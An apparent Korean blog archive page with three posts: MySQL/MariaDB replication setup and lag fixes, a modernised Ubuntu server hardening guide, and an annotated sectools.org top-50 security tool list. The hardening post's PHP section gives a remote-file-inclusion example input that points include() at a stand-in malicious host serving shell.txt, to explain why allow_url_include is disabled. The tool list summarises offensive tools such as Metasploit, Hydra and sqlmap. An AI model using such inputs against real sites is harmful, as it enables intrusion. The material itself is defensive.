보관함

MySQL / MariaDB 복제(Replication) 정리 – 동작 원리, 설정, 복제 지연 해결

복제(Replication)는 DB 데이터를 두 대 이상에 복제해 두는 방식이다. 가장 기본 구성은 마스터(master) 1대 + 슬레이브(slave) 1대이고, master-master, 다중 slave 로도 쓴다. 비동기 방식이라 마스터의 변경이 슬레이브에 약간의 지연을 두고 반영된다.

왜 쓰나

  • 실시간 백업 — 마스터가 원본, 슬레이브가 백업. 마스터 장애 시 슬레이브로 전환
  • 부하 분산 — 마스터는 쓰기(insert·update·delete), 슬레이브는 읽기(select) 로 나눠 받음

마스터와 슬레이브의 역할

  • 마스터: 데이터 변경(등록·수정·삭제)이 생기면 바이너리 로그(binary log) 에 기록하고 슬레이브에 전달한다. 마스터는 슬레이브가 몇 대인지 등은 모른다.
  • 슬레이브: 마스터에서 받은 바이너리 로그를 자기 DB 에 반영한다.

바이너리 로그와 복제 형식

바이너리 로그(binlog) 는 DB 에서 일어난 모든 변경 내역이 기록되는 파일이다. 기본은 꺼져 있어서 켜 줘야 한다. 복제 형식은 세 가지다.

  • STATEMENT (SBR) — 실행된 SQL 문을 그대로 복사
  • ROW (RBR) — 변경된 행(row)만 복사. 지금 기본값이자 권장
  • MIXED — 둘을 상황에 따라 섞음

동작 과정

  1. 사용자가 insert/update/delete 로 데이터 변경을 요청한다.
  2. 마스터가 바이너리 로그에 변경 사항을 기록하고 스토리지 엔진에 커밋한다.
  3. 슬레이브의 I/O 스레드가 마스터에 이벤트를 요청하면, 마스터의 dump 스레드가 바이너리 로그를 전송한다.
  4. 슬레이브는 받은 내용을 릴레이 로그(relay log)에 기록한다.
  5. 슬레이브의 SQL 스레드가 릴레이 로그를 읽어 스토리지 엔진에 반영한다.

설정 — Master

마스터 설정 파일(/etc/mysql/mariadb.conf.d/50-server.cnf 또는 /etc/my.cnf)에 넣는다.

재시작 후 슬레이브가 접속할 복제 전용 계정을 만든다. (identified by 를 붙이는 옛 문법 대신 CREATE USER 로 나눠 쓰는 것이 지금 방식이다. 접속 IP 대역도 제한한다.)

※ 참고 SHOW MASTER STATUS 의 File 명과 Position 번호를 기록해 둔다. DB 를 재시작하면 이 값이 바뀔 수 있으니, 슬레이브 설정 직전에 확인한다.

설정 — Slave

재시작 후 마스터를 가리키게 설정한다.

Slave_IO_Running 과 Slave_SQL_Running 이 둘 다 Yes 이고 Seconds_Behind_Master 가 0 에 가까우면 정상이다.

확인

마스터에서 DB·테이블·데이터를 만들고 슬레이브에서 그대로 보이는지 확인한다.

주의

  • 마스터와 슬레이브의 MySQL/MariaDB 버전을 같게 맞춘다. 꼭 달라야 하면 슬레이브가 상위 버전이어야 한다.
  • 마스터 → 슬레이브 순서로 가동한다.
  • 바이너리 로그는 계속 쌓이므로 보관 기간을 정한다. (지금은 expire_logs_days 대신 binlog_expire_logs_seconds 를 쓴다. 예: 604800 = 7일)
  • 슬레이브에 직접 쓰기를 하면 데이터가 어긋나 복제가 깨진다. 슬레이브는 read_only(가능하면 super_read_only) 로 둔다.

복제 지연(Replication Lag)

마스터에서는 여러 스레드가 동시에 쓰기를 하는데, 슬레이브에서 이를 반영하는 SQL 스레드는 기본적으로 1개라 처리가 밀린다. 이것이 복제 지연이다. 병렬 복제로 스레드를 늘려도 근본 원인은 남는다.

지연 원인

  • 느린 쿼리(Long Query) — STATEMENT 복제에서 1시간짜리 쿼리를 슬레이브가 그대로 다시 실행하면, 그 1시간 동안 지연된다.
  • 쓰기량 증가 — 쓰기 쿼리 자체가 늘면 복제할 양도 늘어 지연. 사용량 증가 때문이면 계속 벌어질 수 있고, 보통은 낮에 벌어졌다가 새벽에 따라잡는 패턴
  • 락(lock) 이슈 — 슬레이브에서 메타데이터 락 등으로 쿼리가 막힘
  • 하드웨어 — 디스크 I/O 성능, OS 파라미터, 느린 디스크(7200rpm HDD 등)
  • 슬레이브 부하 — 슬레이브의 읽기 트래픽·배치·백업이 겹쳐 처리 성능이 떨어짐
  • 데이터 불일치로 인한 복제 중단 — 지울 행이 없거나 넣을 행이 이미 있으면 슬레이브가 판단 못 하고 복제를 멈춤. 누군가 슬레이브에 직접 쓰기를 한 경우가 많다.

해결

  • 쿼리 성능 개선 — 느린 쿼리면 인덱스 추가·쿼리 수정으로 실행 속도를 높인다.
  • 병렬 복제 — 복제 적용 worker 스레드를 늘린다. 무작정 많다고 좋진 않고, 16개 이상은 효과가 거의 없는 경우가 많다.

※ 참고 위는 MySQL 변수명이다. MySQL 8.0.26+ 는 replica_parallel_workers, replica_parallel_type 로 이름이 바뀌었고, MariaDB 는 slave_parallel_threads 를 쓴다.

  • 복제 형식 조정(SBR/RBR) — 1시간 돌아도 결국 1건만 바꾸는 쿼리라면 세션에서 ROW 로 바꾸는 게 낫다.

  • 데이터 경량화 — 데이터가 많을수록 불리하다. 서비스에 꼭 필요한 데이터만 남기고 로그성 테이블은 다른 DB 로 분리하거나 삭제한다.

복제가 깨졌을 때

데이터 불일치로 멈췄을 때, 원인을 확인한 뒤에만 한 건을 건너뛰거나 위치를 다시 지정한다.

참고한 자료: DANIDANI – MySQL(MariaDB) Replication, rlawls1991 – MySQL Replication

관련 글: MariaDB 운영 메모 – 계정과 권한, 백업과 복원, 복제(Replication), MySQL 튜닝 (from 나프다)

Ubuntu 서버 보안 하드닝 가이드 (방화벽·SSH·Fail2Ban·AppArmor 등 18단계)

Ubuntu 서버의 기본 보안을 단계별로 잡는 가이드다. 원문(The Fan Club, 2012)은 Ubuntu 12.04 기준이라, 지금 LTS(22.04/24.04)에서 달라진 부분을 반영해 정리했다. 모든 명령은 sudo 권한으로, 바꾸기 전에 설정 파일을 백업하고, 특히 SSH·방화벽은 접속이 끊길 수 있으니 콘솔 접근 수단을 확보한 뒤 진행한다.

1. 방화벽 – UFW

UFW(Uncomplicated Firewall)로 시작한다. 방화벽을 켜기 전에 SSH 부터 허용해야 접속이 끊기지 않는다.

2. 공유 메모리 보호 – /etc/fstab

실행 중인 서비스를 노리는 공격에 공유 메모리가 쓰일 수 있다. 다만 일부 앱(크롬, 일부 DB)이 /dev/shm 실행을 필요로 해서 부팅이 꼬일 수 있으니, 재부팅 후 서비스가 정상인지 꼭 확인한다.

3. SSH 강화 – 키 로그인, root 차단

가장 확실한 건 공개키/개인키 로그인이다. 비밀번호 로그인을 쓴다면 최소한 root 로그인을 막는다. 지금 Ubuntu 는 /etc/ssh/sshd_config.d/ 에 조각 파일을 두는 방식을 권장한다.

※ 참고 SSH 포트 변경은 선택. 자동 스캔 로그를 줄이는 효과는 있지만 실제 보안은 거의 높이지 않고, 1024 미만 특권 포트가 아닌 곳으로 옮기면 오히려 위험할 수 있다는 반론도 많다. 포트를 바꾼다면 방화벽에서 새 포트를 열고 22 를 닫는 것을 잊지 말 것. 키 로그인 + fail2ban 이 포트 변경보다 효과가 크다.

4. su / sudo 접근 제한

관리자 그룹에게만 권한을 준다. 지금 Ubuntu 는 관리자 그룹이 sudo 다(옛 가이드의 admin 그룹이 아님). 평소 작업은 su 보다 sudo 를 쓴다.

5. 네트워크 커널 파라미터 – sysctl

/etc/sysctl.d/99-hardening.conf 에 넣고 sudo sysctl --system 으로 적용한다. (옛 가이드는 /etc/sysctl.conf 에 직접 넣지만, 지금은 /etc/sysctl.d/ 조각 파일이 깔끔하다.)

※ 참고 net.ipv4.icmp_echo_ignore_all = 1(ping 전부 차단)은 모니터링·헬스체크를 막을 수 있어 뺐다. 필요하면 추가한다.

6. BIND DNS – 재귀 질의 차단, 버전 숨김

권한 있는(authoritative) DNS 서버만 운영한다면 재귀 질의를 끈다. (DNS 서버를 안 돌리면 이 단계는 건너뛴다.)

7. host.conf

옛 가이드의 nospoof on 은 glibc 에서 더 이상 의미가 없다(무시됨). IP 스푸핑 방어는 5번의 rp_filter 로 충분하다. 이 단계는 지금은 건너뛰어도 된다.

8. PHP 보안 설정

PHP 버전에 맞는 php.ini 를 연다(예: /etc/php/8.3/apache2/php.ini, FPM 이면 /etc/php/8.3/fpm/php.ini). 바꾼 뒤 웹서버(또는 php-fpm)를 재시작한다.

옛날 가이드에 자주 나오지만 지금은 넣으면 안 되는 것 — safe_mode, register_globals, magic_quotes_gpc, mysql.trace_mode 는 모두 PHP 5.4~7 에서 제거되었다. 지금 php.ini 에 넣어도 효과가 없고, 특히 magic_quotes 는 SQL Injection 을 제대로 막지도 못했다. SQL Injection 방어는 php.ini 설정이 아니라 준비된 구문(prepared statement, 파라미터 바인딩) 으로 한다.

정보 노출 차단 — 에러 메시지에 파일 경로, 쿼리, DB 구조가 드러나면 공격의 단서가 된다. 운영 서버는 화면에 안 띄우고 로그로만 남긴다.

원격 파일 포함(RFI) 차단 — include($_GET['x']) 같은 코드에 ?x=http://악성/shell.txt 를 넣어 외부 코드를 실행시키는 공격을 막는다. allow_url_include 가 핵심이다.

위험 함수·파일 접근 제한

세션 쿠키 보안 — 세션 탈취·고정 공격을 줄인다. (예전 자료에는 없지만 지금은 기본으로 챙긴다.)

WordPress·일부 CMS 주의 — disable_functions 나 open_basedir 를 너무 빡빡하게 걸면 플러그인·업데이트가 깨질 수 있다. 바꾼 뒤 사이트가 정상인지 확인한다.

9. Apache 정보 노출 줄이기

지금 Ubuntu 는 /etc/apache2/conf-available/security.conf 에 있다. Header 지시어를 쓰려면 headers 모듈을 켜야 한다(안 켜면 재시작이 실패한다 — 원문 댓글에서도 지적된 부분).

ServerTokens 값에 따라 응답 헤더의 Server: 에 드러나는 정보가 다르다. 운영 서버는 가장 적게 알려주는 Prod(=ProductOnly)를 쓴다.

값 Server 헤더 예
Prod (ProductOnly) Apache
Major Apache/2
Minor Apache/2.4
Minimal Apache/2.4.58
OS Apache/2.4.58 (Ubuntu)
Full (기본값) Apache/2.4.58 (Ubuntu) OpenSSL/3.0 PHP/8.3

PHP 도 응답 헤더(X-Powered-By)와 에러 화면에 버전을 노출하므로 php.ini 에서 끈다.

다만 anyons.net 처럼 Cloudflare 뒤에 있으면 앞단에서 이미 Server: cloudflare 로 가려지고 원 서버 헤더가 밖으로 안 나가기도 한다. 그래도 원 서버 직접 접근에 대비해 서버 자체 설정도 함께 해 두는 게 안전하다.

10~11. 웹 애플리케이션 방화벽 – ModSecurity / ModEvasive

ModSecurity(OWASP CRS 규칙셋)로 웹 공격을, ModEvasive 로 간단한 DoS 를 막는다. 다만 ModSecurity 하나로 DoS 완화까지 되는 경우가 많아 ModEvasive 는 선택이다.

※ 참고 ModSecurity 기본 규칙은 WordPress·Drupal 같은 CMS 를 막는 경우가 있다(403 Forbidden). 사이트가 막히면 해당 규칙을 예외 처리한다. 이것도 오늘 다룬 anyons.net 의 Wordfence 와 역할이 겹치니, 둘 다 쓸지 하나만 쓸지는 정해서 간다.

12. 로그 감시·차단 – Fail2Ban

옛 가이드의 DenyHosts 는 거의 관리가 끊겼으니 Fail2Ban 만 쓴다. Fail2Ban 은 로그를 보고 비밀번호 실패·익스플로잇 시도가 많은 IP 를 방화벽에서 일정 시간 차단한다.

/etc/fail2ban/jail.local 에서 설정한다. 지금 Ubuntu 는 SSH 로그 감시 jail 이름이 [sshd] 이고, 로그 소스로 systemd 를 쓴다.

13. 침입 탐지 – PSAD

PSAD 는 iptables 로그를 분석해 포트 스캔과 수상한 트래픽을 탐지한다. (UFW 를 쓰면 로깅을 켜 둬야 PSAD 가 볼 게 생긴다: sudo ufw logging on)

14. 루트킷 점검 – RKHunter / chkrootkit

둘 다 루트킷을 찾는 도구다. 같이 써도 무방.

15. 열린 포트 점검 – Nmap

16. 로그 분석 – Logwatch

17. 강제 접근 제어 – AppArmor

AppArmor 는 SELinux 가 아니라 그 대안이다(원문 댓글에서도 지적됨). Ubuntu 는 AppArmor 가 기본으로 켜져 있다. 프로필을 추가로 설치하고 상태를 확인한다.

18. 시스템 보안 감사 – Lynis (또는 Tiger)

옛 가이드의 Tiger 도 있지만, 지금은 Lynis 가 더 활발히 관리되고 리포트도 낫다.

19. 백업 – 별도 볼륨에 자동 백업

어떤 보안 도구보다 백업이 먼저다. 데이터는 OS 디스크와 다른 볼륨에 두고, 정기 백업은 원격이나 별도 저장소에 보낸다. 예전처럼 tar 로 통째 떠도 되지만, 지금은 증분·중복제거·암호화가 되는 restic 이나 borg 가 낫다.

cron 이나 systemd timer 로 매일 새벽에 돌린다. 복원 테스트를 가끔 해 둬야 진짜 백업이다. (DB 는 파일 복사 대신 mysqldump/pg_dump 로 뜬 뒤 백업한다.)

20. SetUID / SetGID 파일 점검

SetUID 가 붙은 실행 파일은 실행하면 소유자(보통 root) 권한으로 돈다. 공격자가 백도어로 심어 두기 쉬운 자리라, 표준 목록에 없는 게 있는지 가끔 확인한다. (명령 자체는 예전부터 지금까지 같다.)

나오는 건 대부분 su, sudo, mount, passwd, ping 같은 표준 바이너리다. 처음 깨끗한 상태의 목록을 저장해 두고, 나중 결과와 diff 로 비교하면 새로 생긴 것을 바로 찾는다.

21. 파일 무결성 감시 – AIDE

루트킷 검사(14번)와 별개로, 시스템 파일이 몰래 바뀌었는지 보는 도구다. 예전의 Tripwire 역할을 지금은 AIDE 가 한다. 깨끗한 상태의 지문(DB)을 만들어 두고, 이후 바뀐 파일을 보고한다.

초기 DB 는 서버가 깨끗할 때 만들어야 의미가 있고, DB 자체는 외부(읽기전용 매체 등)에 보관하는 게 안전하다.

22. 로그인 경고 배너

접속 화면에 OS 버전이 그대로 노출되지 않게 하고, 허가받지 않은 접속에 대한 경고문을 띄운다(법적 근거에도 도움).

SSH 가 이 배너를 쓰게 한다.

23. 웹 디렉터리 목록 노출 차단

index 파일이 없는 폴더에 접근하면 파일 목록이 그대로 보이는(디렉터리 인덱싱) 설정을 끈다. 소스·백업 파일이 노출되는 경로가 된다.

Apache: Options 에서 Indexes 와 FollowSymLinks 를 뺀다. 심볼릭 링크를 따라가는 설정은 엉뚱한 파일(/etc/passwd 등)이 웹으로 노출되는 통로가 될 수 있다.

nginx: 기본적으로 디렉터리 인덱싱이 꺼져 있다(autoindex off). 켜 둔 곳이 없는지만 확인하면 된다.

마무리

  • 한 번에 다 적용하지 말고 단계마다 재부팅·접속 테스트를 한다. 특히 2(공유 메모리), 3(SSH), 1(방화벽)은 잘못되면 접속이 막힌다.
  • 설정 파일은 바꾸기 전에 cp 로 백업한다.
  • 보안 업데이트(sudo apt update && sudo apt upgrade)와 백업이 이 모든 도구보다 기본이다.

참고한 자료: The Fan Club – How to secure an Ubuntu 12.04 LTS server (Part 1)

관련 글: Ubuntu 에 새 disk 추가, azure ubuntu 설치 ver 2022, iptables 목록들

네트워크 보안 도구 Top 50 (sectools.org)

Nmap 프로젝트가 보안 커뮤니티의 투표로 정리하는 네트워크 보안 도구 목록(sectools.org) 상위 50개를 정리했다. 원래 목록은 2013년 기준이라, 지금 이름이 바뀌었거나 개발이 멈춘 도구는 “지금 상태”에 적었다. Nmap 자체와 Ncat, Nping 은 Nmap 프로젝트 도구라 목록에서 빠져 있다.

1 ~ 25위

# 도구 분야 설명 지금 상태
1 Wireshark 패킷 분석 실시간 네트워크나 캡처 파일의 패킷을 프로토콜 단위로 분석한다. 필터와 TCP 스트림 재조립이 강력하다. 콘솔 버전은 tshark.
2 Metasploit 침투 테스트 익스플로잇을 만들고 시험하고 실행하는 프레임워크. 연습용 취약 VM 인 Metasploitable 도 있다. Framework 는 오픈소스, 상용판은 Rapid7
3 Nessus 취약점 스캐너 원격·로컬(인증) 점검을 하는 대표적인 취약점 스캐너. 플러그인이 계속 갱신된다. 상용. 무료판은 Nessus Essentials
4 Aircrack-ng 무선 802.11 패킷을 캡처(airodump)·주입(aireplay)하고 WEP/WPA-PSK 키를 복구(aircrack)하는 도구 모음. 지금 이름은 Aircrack-ng
5 Snort 침입 탐지(IDS/IPS) 규칙 기반으로 웜, 익스플로잇 시도, 포트 스캔 같은 수상한 트래픽을 탐지하고 기록한다. 지금은 Cisco 소유, Snort 3
6 Cain and Abel 암호 복구 (Windows) 네트워크 스니핑, 사전·무차별 대입으로 암호를 찾고 VoIP 녹음, 라우팅 프로토콜 분석도 한다. 개발 중단
7 BackTrack 보안 점검용 리눅스 보안·포렌식 도구가 들어 있는 부팅 가능한 리눅스 배포판. Kali Linux 로 대체
8 Netcat 네트워크 연결 TCP/UDP 로 데이터를 읽고 쓰는 단순한 도구. 포트를 열어 연결을 받는 것도 된다. 디버깅과 스크립트에 많이 쓴다. 현대판은 Ncat, Socat, OpenBSD nc
9 tcpdump 패킷 캡처 Wireshark 이전부터 쓰던 콘솔 패킷 캡처 도구. 가볍고 보안 위험이 적다. libpcap 이 여기서 나왔다.
10 John the Ripper 암호 크래킹 약한 암호를 찾기 위해 여러 형식의 암호 해시를 사전 대입으로 깨 본다.
11 Kismet 무선 수동으로 스니핑해서 무선 네트워크를 찾아내는 탐지기·스니퍼·IDS. 숨긴 SSID 도 찾는다.
12 OpenSSH / PuTTY 원격 접속 암호화된 원격 로그인과 명령 실행. telnet, rlogin, rsh 를 대체한다. Windows 에서는 PuTTY, WinSCP. Windows 10 부터 OpenSSH 기본 포함
13 Burp Suite 웹 해킹 웹 애플리케이션을 점검하는 통합 도구. 프록시로 요청을 가로채 고치고 스캔한다. 무료 Community, 유료 Professional
14 Nikto 웹 서버 스캐너 위험한 파일·CGI, 오래된 서버 버전, 설정 문제를 점검한다.
15 Hping 패킷 생성 ICMP, UDP, TCP 패킷을 직접 만들어 보내고 응답을 본다. 방화벽 뒤 호스트를 탐색하거나 방화벽 규칙을 알아낼 때 쓴다. 오래 갱신 없음, 비슷한 도구는 Nping
16 Ettercap 중간자 공격(MITM) LAN 에서 연결을 가로채 스니핑하고 내용을 바꾸는 도구.
17 Sysinternals Windows 진단 Process Explorer(열린 파일, lsof 같은 기능), PsTools(원격 프로세스 관리), Autoruns(자동 실행 항목), TCPView(netstat 같은 기능) 등. Microsoft 무료 배포
18 w3af 웹 취약점 웹 애플리케이션 취약점을 찾고 공격하는 플러그인 프레임워크. 웹용 Metasploit 같은 도구. 개발 거의 멈춤
19 OpenVAS 취약점 스캐너 Nessus 가 상용으로 바뀔 때 마지막 무료 버전에서 갈라져 나온 오픈소스 스캐너. 지금은 Greenbone
20 Scapy 패킷 조작 Python 으로 패킷을 만들고 보내고 받는 저수준 도구. 스캐너, 스니퍼로도 쓴다.
21 ping, telnet, dig, traceroute, whois, netstat 기본 명령 운영체제에 기본으로 들어 있는 기초 도구. 급할 때 가장 먼저 쓴다. (Windows 는 tracert, whois 없음)
22 THC Hydra 온라인 암호 대입 telnet, ftp, http, smb, DB 등 30 여 개 프로토콜에 사전 대입 공격을 한다. 비슷한 도구는 Medusa, Ncrack.
23 Perl / Python / Ruby 스크립트 언어 기성 도구로 안 되는 일을 직접 만든다. Scapy 는 Python, Metasploit 모듈은 Ruby, Nmap 스크립트는 Lua 로 쓴다.
24 Paros proxy 웹 프록시 HTTP/HTTPS 요청을 가로채 쿠키·폼 값을 바꾸고 SQL Injection, XSS 를 점검하는 Java 프록시. 개발 중단, OWASP ZAP 이 후속
25 NetStumbler 무선 (Windows) 열린 무선 AP 를 찾는 Windows 도구. Kismet 보다 능동적인 방식이다. 개발 중단

26 ~ 50위

# 도구 분야 설명 지금 상태
26 Google 정보 수집 site:도메인 같은 검색 연산자로 직원 이름, 실수로 노출된 문서, 취약한 웹 프로그램이 설치된 서버 등을 찾는다. Google Hacking Database 참고. GHDB 는 지금 Exploit-DB 에서 관리
27 OSSEC HIDS 호스트 침입 탐지 로그 분석, 파일 무결성 검사, 루트킷 탐지, 경보와 자동 대응. 방화벽·웹 서버·인증 로그 분석에 많이 쓴다. 활발한 후속은 Wazuh
28 WebScarab 웹 프록시 HTTP(S) 요청과 응답을 기록하고 살펴보는 OWASP 도구. 개발 중단, OWASP ZAP 으로 대체
29 Core Impact 침투 테스트 (상용) 상용 익스플로잇 도구. 한 서버를 뚫은 뒤 그 서버를 거쳐 다른 서버로 들어가는 기능이 있다. 비슷한 도구는 Metasploit, Canvas.
30 sqlmap SQL Injection SQL Injection 취약점을 자동으로 찾고 DB 정보 확인, 데이터 추출, 파일 시스템 접근, OS 명령 실행까지 해 본다.
31 TrueCrypt 디스크 암호화 디스크나 파일 볼륨을 실시간으로 암호화한다. 숨김 볼륨 기능이 있다. 2014년 개발 중단, VeraCrypt 로 대체
32 dsniff 스니핑 암호·메일·파일을 엿보는 도구(dsniff, mailsnarf, urlsnarf 등)와 트래픽을 가로채는 도구(arpspoof, dnsspoof, macof) 모음. 오래 갱신 없음
33 IDA Pro 디스어셈블러 악성 코드 분석과 취약점 연구에 표준처럼 쓰이는 디스어셈블러. 스크립트로 확장할 수 있다. 무료 대안은 Ghidra
34 Maltego 정보 수집(OSINT) 공개 자료를 조회해서 사람, 회사, 웹 사이트, 문서 사이의 관계를 그래프로 보여 준다.
35 ophcrack 암호 크래킹 (Windows) 레인보우 테이블로 Windows LM/NTLM 해시를 깬다. Live CD 판이 있다.
36 Nexpose 취약점 관리 탐지, 검증, 위험도 분류, 보고, 조치까지 다루는 취약점 스캐너. Metasploit 과 연동된다. 지금은 Rapid7 InsightVM
37 Netfilter / iptables 방화벽 리눅스 커널의 패킷 필터. 상태 기반 필터링과 NAT 를 한다. 설정 도구가 iptables. 지금은 nftables 로 넘어가는 중
38 GnuPG / PGP 암호화 파일과 메일을 암호화·서명한다. GnuPG(gpg)는 PGP 표준의 무료 구현.
39 skipfish 웹 취약점 사이트를 재귀적으로 돌아다니며 사이트맵을 만들고 보안 점검 결과를 붙여 주는 Google 의 도구. 개발 중단
40 GFI LanGuard 취약점·패치 관리 (상용) 네트워크 취약점 점검, 패치 관리, 소프트웨어 감사.
41 Acunetix 웹 취약점 (상용) SQL Injection, XSS 등을 자동으로 찾고 보고서를 만든다. 지금은 Invicti 소속
42 Qualys 취약점 관리 (SaaS) 클라우드 기반 취약점 관리. 내부 스캔은 장비를 두고 클라우드로 결과를 보낸다. 지금 이름은 Qualys VMDR
43 VMware / VirtualBox 가상화 여러 OS 에서 코드와 익스플로잇을 시험하고, 스냅샷으로 감염 전 상태로 되돌리는 실험 환경. VMware Workstation 은 개인용 무료
44 OllyDbg 디버거 (Windows) 소스 없이 32비트 실행 파일을 분석하는 디버거. 개발 중단, x64dbg 가 대안
45 ntop 네트워크 사용량 프로세스에 top 이 있듯 네트워크 사용량을 보여 준다. 웹 화면, NetFlow/sFlow 수집. 지금은 ntopng
46 MBSA Windows 보안 점검 Microsoft 권장 사항 기준으로 Windows 보안 상태를 점검하는 도구. 지원 종료
47 AppScan 애플리케이션 보안 (상용) 개발 단계부터 XSS, 파라미터 조작, 숨은 필드 조작 등을 점검한다. 지금은 HCL AppScan
48 OSSIM 보안 정보 관리(SIEM) Nagios, OSSEC 등 여러 도구를 묶어 네트워크와 서버 보안 상태를 한곳에서 본다.
49 Medusa 온라인 암호 대입 SSH, FTP, HTTP, IMAP, VNC 등 여러 프로토콜에 병렬로 로그인 대입을 한다. 비슷한 도구는 Hydra, Ncrack.
50 OpenSSL 암호화 라이브러리 SSL/TLS 와 암호 라이브러리. 암호화, 해시, 인증서 처리 명령줄 도구도 들어 있다. SSLv2/v3 는 제거됨, 지금은 3.x

공격용으로 쓸 수 있는 도구가 많으니 내가 관리하거나 허가받은 시스템에서만 쓴다.

참고한 자료: SecTools.Org: Top Network Security Tools (1쪽, 2쪽)

관련 글: 리눅스 서버 성능 모니터링 명령어 정리 (top, vmstat, ps, iostat, sar, tcpdump 등)